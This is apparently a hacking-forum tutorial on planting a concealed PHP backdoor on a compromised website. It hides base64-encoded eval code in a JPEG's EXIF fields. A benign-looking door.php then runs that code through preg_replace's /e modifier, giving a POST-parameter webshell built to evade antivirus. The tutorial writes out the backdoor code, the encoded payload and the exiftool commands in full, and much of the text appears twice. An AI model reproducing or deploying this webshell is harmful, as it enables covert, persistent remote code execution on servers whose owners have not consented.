Hey all, thought I'd bring you a tutorial I've been working on today to create a PHP Backdoor which doesn't stand out like a sore thumb.
This is an ADVANCED tutorial, if you're not experienced with PHP then this isn't for you.
Anyway.
So what we're going to be doing is hiding a PHP Backdoor on a system, where it shouldn't be detectable, here's how:
We're going to find an image on the site, it can be any image. Make sure it's a jpeg.
For this tutorial we're going to assume it's called "image.jpg"
Next, you'll want to download exiftool, it's a free CLI exif editor, and upload the file to the site.
Then, we're going to change some of the exif data attached to the image, or create it if it doesn't exist:
We're going to change the exif form "Make" and "Model" to the following:
We're going to encode our backdoor with base64, which I'm sure you're all familiar with, do the following:
Take this base code:
And change var to whatever you want, making sure that you keep the quotes, this is going to be the variable we post to our backdoor. Make sure it is a single word, alphanumeric.
Now take that entire string, for me it looks like this:
And encode it with Base64. Now replace X in the first string with your Base64 output, mine now looks like this:
Note. Yours WILL look different, depending on what you assigned var to.
So now that we've created our backdoor executor, execute the following commands using exiftool
Now, we need to create our PHP file, it's going to be totally harmless so that it doesn't get detected by antivirus software.
Obviously replace /path/to/ with the actual location of the image, and image.jpg with the actual name of the image.
Save this as door.php.
Following the above, you're going to upload door.php to a location of your choice, making sure that this location is accessible with an internet browser. I.e. don't put it in the same directory as public_html or a higher directory.
And there you go.
I'm not going to spoonfeed you and tell you how to use this backdoor, however, if as I said at the beginning of the tutorial, you are familiar with PHP then you will understand exactly what we've done here, and how to exploit the vulnerability we've created.
Good luck!
This is an ADVANCED tutorial, if you're not experienced with PHP then this isn't for you.
Anyway.
So what we're going to be doing is hiding a PHP Backdoor on a system, where it shouldn't be detectable, here's how:
We're going to find an image on the site, it can be any image. Make sure it's a jpeg.
For this tutorial we're going to assume it's called "image.jpg"
Next, you'll want to download exiftool, it's a free CLI exif editor, and upload the file to the site.
Then, we're going to change some of the exif data attached to the image, or create it if it doesn't exist:
We're going to change the exif form "Make" and "Model" to the following:
Code
Make: /.*/e
Model: eval(base64_decode(X))We're going to encode our backdoor with base64, which I'm sure you're all familiar with, do the following:
Take this base code:
Code
if (isset($_POST["var"])) {eval(stripslashes($_POST["var"]));}And change var to whatever you want, making sure that you keep the quotes, this is going to be the variable we post to our backdoor. Make sure it is a single word, alphanumeric.
Now take that entire string, for me it looks like this:
Code
if (isset($_POST["door"])) {eval(stripslashes($_POST["door"]));}And encode it with Base64. Now replace X in the first string with your Base64 output, mine now looks like this:
Code
eval(base64_decode(aWYgKGlzc2V0KCRfUE9TVFsiYmFja2QwMHIiXSkpIHtldmFsKHN0cmlwc2xhc2hlcygkX1BPU1RbImJhY2tkMDByIl0pKTt9))Note. Yours WILL look different, depending on what you assigned var to.
So now that we've created our backdoor executor, execute the following commands using exiftool
Code
-make="/.*/e" -model="eval(base64_decode(X)) image.jpgNow, we need to create our PHP file, it's going to be totally harmless so that it doesn't get detected by antivirus software.
Obviously replace /path/to/ with the actual location of the image, and image.jpg with the actual name of the image.
Code
<?php
$data = exif_read_data('/path/to/image.jpg');
preg_replace($data['Make'],$data['Model'],'');
?>Save this as door.php.
Following the above, you're going to upload door.php to a location of your choice, making sure that this location is accessible with an internet browser. I.e. don't put it in the same directory as public_html or a higher directory.
And there you go.
I'm not going to spoonfeed you and tell you how to use this backdoor, however, if as I said at the beginning of the tutorial, you are familiar with PHP then you will understand exactly what we've done here, and how to exploit the vulnerability we've created.
Good luck!
![[Image: q2bcziS.jpg]](https://i.imgur.com/q2bcziS.jpg)


